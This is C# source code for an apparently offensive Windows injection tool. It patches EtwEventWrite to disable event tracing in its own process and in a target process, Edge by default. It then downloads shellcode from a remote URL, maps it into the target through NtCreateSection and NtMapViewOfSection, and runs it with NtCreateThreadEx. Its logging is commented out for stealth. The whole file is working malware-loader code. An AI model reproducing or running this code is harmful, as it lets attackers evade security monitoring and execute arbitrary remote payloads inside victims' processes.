using System;
using System.Diagnostics;
using System.Linq;
using System.Net.Http;
using System.Runtime.InteropServices;
using System.Text;
using DInvoke.DynamicInvoke;
namespace NtCreateThreadInj
{
public class Program
{
public static async Task Main(string[] args)
{
Console.OutputEncoding = Encoding.UTF8;
//Console.WriteLine("\n|--[-|XXXX]----- Процессный наркоман\n");
int GetProcId()
{
if (args.Length == 0)
{
args = new string[] { "msedge" };
}
if (args[0].All(char.IsDigit))
{
//Console.WriteLine("[+] Getting process ID for target process ({0})", args[0]);
var pid = int.Parse(args[0]);
var process = Process.GetProcessById(pid);
//Console.WriteLine("[+] Handle: {0}\n [+] Id: {1}", process.Handle, process.Id);
return process.Id;
}
else
{
//Console.WriteLine("[+] Getting process ID for target process ({0})", args[0]);
var name = args[0];
var process = Process.GetProcessesByName(name).FirstOrDefault();
//Console.WriteLine("[+] Handle: {0}\n[+] Id: {1}", process.Handle, process.Id);
return process.Id;
}
}
//Console.WriteLine("[*] ----- Patching ETW ----- [*]");
int targetProcessId = GetProcId();
Process targetProcess = Process.GetProcessById(targetProcessId);
IntPtr targetProcessHandle = targetProcess.Handle;
Native.VirtualProtectEx VirtualProtectEx;
Native.WriteProcessMemory WriteProcessMemory;
IntPtr vpeAddress = Generic.GetLibraryAddress("kernel32.dll", "VirtualProtectEx");
IntPtr wpmAddress = Generic.GetLibraryAddress("kernel32.dll", "WriteProcessMemory");
VirtualProtectEx =
(Native.VirtualProtectEx)Marshal.GetDelegateForFunctionPointer(vpeAddress,
typeof(Native.VirtualProtectEx));
WriteProcessMemory =
(Native.WriteProcessMemory)Marshal.GetDelegateForFunctionPointer(wpmAddress,
typeof(Native.WriteProcessMemory));
IntPtr GetRemoteNtdllBaseAddress(Process targetProcess)
{
var ntdllBaseAddress = targetProcess.Modules.Cast<ProcessModule>()
.FirstOrDefault(m => m.ModuleName == "ntdll.dll")?.BaseAddress;
if (ntdllBaseAddress.HasValue)
{
return ntdllBaseAddress.Value;
}
else
{
throw new InvalidOperationException();
}
}
//Console.WriteLine("[+] NTDLL base address: 0x" + GetRemoteNtdllBaseAddress(targetProcess).ToString("X"));
IntPtr GetEtwEventWriteOffset()
{
var localNtdllAddress = Generic.GetLibraryAddress("ntdll.dll", "EtwEventWrite");
var localNtdllBaseAddress = GetRemoteNtdllBaseAddress(Process.GetCurrentProcess());
var offset = (long)localNtdllAddress - (long)localNtdllBaseAddress;
return (IntPtr)offset;
}
//Console.WriteLine("[+] ETW decimal offset: {0}", GetEtwEventWriteOffset().ToString());
//Console.WriteLine("[+] ETW hex offset: 0x{0}", GetEtwEventWriteOffset().ToString("X"));
VirtualProtectEx = (Native.VirtualProtectEx)Marshal.GetDelegateForFunctionPointer(vpeAddress, typeof(Native.VirtualProtectEx));
WriteProcessMemory = (Native.WriteProcessMemory)Marshal.GetDelegateForFunctionPointer(wpmAddress, typeof(Native.WriteProcessMemory));
bool checkFlag = false;
void ModifyRemoteMemory(IntPtr processHandle, IntPtr address, byte newValue)
{
const int PAGE_EXECUTE_READWRITE = 0x40;
if (VirtualProtectEx(processHandle, address, (UIntPtr)1, PAGE_EXECUTE_READWRITE, out var oldProtect) == 0)
{
//throw new InvalidOperationException("[!] Failed to change memory protection.");
}
if (WriteProcessMemory(processHandle, address, new[] { newValue }, 1, out _) == 0)
{
//throw new InvalidOperationException("[!] Failed to write to the memory.");
}
else
{
if (checkFlag == false)
{
//Console.WriteLine("[+] Patched 0x{0} to 0x{1}", newValue.ToString("X"), address.ToString("X"));
checkFlag = true;
}
}
if (VirtualProtectEx(processHandle, address, (UIntPtr)1, (int)oldProtect, out _) == 0)
{
//throw new InvalidOperationException("[!] Failed to restore memory protection.");
}
}
void PatchEtw(IntPtr processHandle, IntPtr remoteNtdllBaseAddress)
{
IntPtr etwEventWriteOffset = GetEtwEventWriteOffset();
IntPtr remoteEtwEventWriteAddress = (IntPtr)((long)remoteNtdllBaseAddress + (long)etwEventWriteOffset);
byte newValue = 0xC3; // RET
ModifyRemoteMemory(processHandle, remoteEtwEventWriteAddress, newValue);
}
Process currentProcess = Process.GetCurrentProcess();
IntPtr currentNtdllBaseAddress = GetRemoteNtdllBaseAddress(currentProcess);
PatchEtw(currentProcess.Handle, currentNtdllBaseAddress);
IntPtr remoteNtdllBaseAddress = GetRemoteNtdllBaseAddress(targetProcess);
PatchEtw(targetProcessHandle, remoteNtdllBaseAddress);
//Console.WriteLine("\n[*] ----- Injecting shellcode ----- [*]");
byte[] shellcode;
using (var client = new HttpClient())
{
shellcode = await client.GetByteArrayAsync(URL);
if (shellcode.Length != 0)
{
//Console.WriteLine("[+] Received {0} bytes of shellcode", shellcode.Length);
}
else
{
int errorCode = Marshal.GetLastWin32Error();
//Console.WriteLine("[!] Failed to receive shellcode. Error {0}", errorCode);
System.Environment.Exit(0);
}
}
IntPtr sectionHandle = IntPtr.Zero;
var maxSize = (ulong)shellcode.Length;
var ntcSectionAddress = Generic.GetLibraryAddress("ntdll.dll", "NtCreateSection");
var ntcSection = (Native.NtCreateSection)Marshal.GetDelegateForFunctionPointer(
ntcSectionAddress, typeof(Native.NtCreateSection));
var ntcSectionExec = ntcSection(
ref sectionHandle,
0x10000000,
IntPtr.Zero,
ref maxSize,
0x40,
0x08000000,
IntPtr.Zero);
if (ntcSectionExec == 0)
{
/*
Console.WriteLine("[+] Create section in current process succeeded. Handle to section: 0x{0}",
sectionHandle.ToString("X"));
*/
}
else
{
int errorCode = Marshal.GetLastWin32Error();
//Console.WriteLine("[!] Failed to create new section with error code {0}", errorCode);
System.Environment.Exit(0);
}
var ntmvSectionAddress = Generic.GetLibraryAddress("ntdll.dll", "NtMapViewOfSection");
var ntmvSection = (Native.NtMapViewOfSection)Marshal.GetDelegateForFunctionPointer(
ntmvSectionAddress, typeof(Native.NtMapViewOfSection));
var ntmvSectionExec = ntmvSection(
sectionHandle,
(IntPtr)(-1),
out var localBaseAddress,
IntPtr.Zero,
IntPtr.Zero,
IntPtr.Zero,
out var _,
2,
0,
0x04);
Marshal.Copy(shellcode, 0, localBaseAddress, shellcode.Length);
if (ntmvSectionExec == 0)
{
/*
Console.WriteLine("[+] Mapped section to current process (self [RW]). Address: 0x{0}",
localBaseAddress.ToString("X"));
Console.WriteLine("[+] Copied {0} bytes of shellcode to section", shellcode.Length);
*/
}
else
{
int errorCode = Marshal.GetLastWin32Error();
//Console.WriteLine("[!] Failed to map section (self [RW]). Error {0}", errorCode);
System.Environment.Exit(0);
}
var ntmvSectionExecRemote = ntmvSection(
sectionHandle,
targetProcessHandle,
out var remoteBaseAddress,
IntPtr.Zero,
IntPtr.Zero,
IntPtr.Zero,
out var _,
2,
0,
0x20);
if (ntmvSectionExecRemote == 0)
{
/*
Console.WriteLine("[+] Mapped shellcode section to remote process ({0}). Address: 0x{1}",
args[0],
remoteBaseAddress.ToString("X"));
*/
}
else
{
var errorCode = Marshal.GetLastWin32Error();
/*
Console.WriteLine("[!] Failed to map section to remote process ({0}). Error {1}",
args[0],
errorCode);
*/
System.Environment.Exit(0);
}
var ntctExAddress = Generic.GetLibraryAddress("ntdll.dll", "NtCreateThreadEx");
var ntctEx =
(Native.NtCreateThreadEx)Marshal.GetDelegateForFunctionPointer(
ntctExAddress, typeof(Native.NtCreateThreadEx));
var ntctExExec = ntctEx(
out _,
0x001F0000,
IntPtr.Zero,
targetProcessHandle,
remoteBaseAddress,
IntPtr.Zero,
false,
0,
0,
0,
IntPtr.Zero);
if (ntctExExec == 0)
{
//Console.WriteLine("[+] Executed shellcode in remote process\n");
}
else
{
var errorCode = Marshal.GetLastWin32Error();
//Console.WriteLine("[!] Failed to execute shellcode. Error {0}\n", errorCode);
System.Environment.Exit(0);
}
}
}
}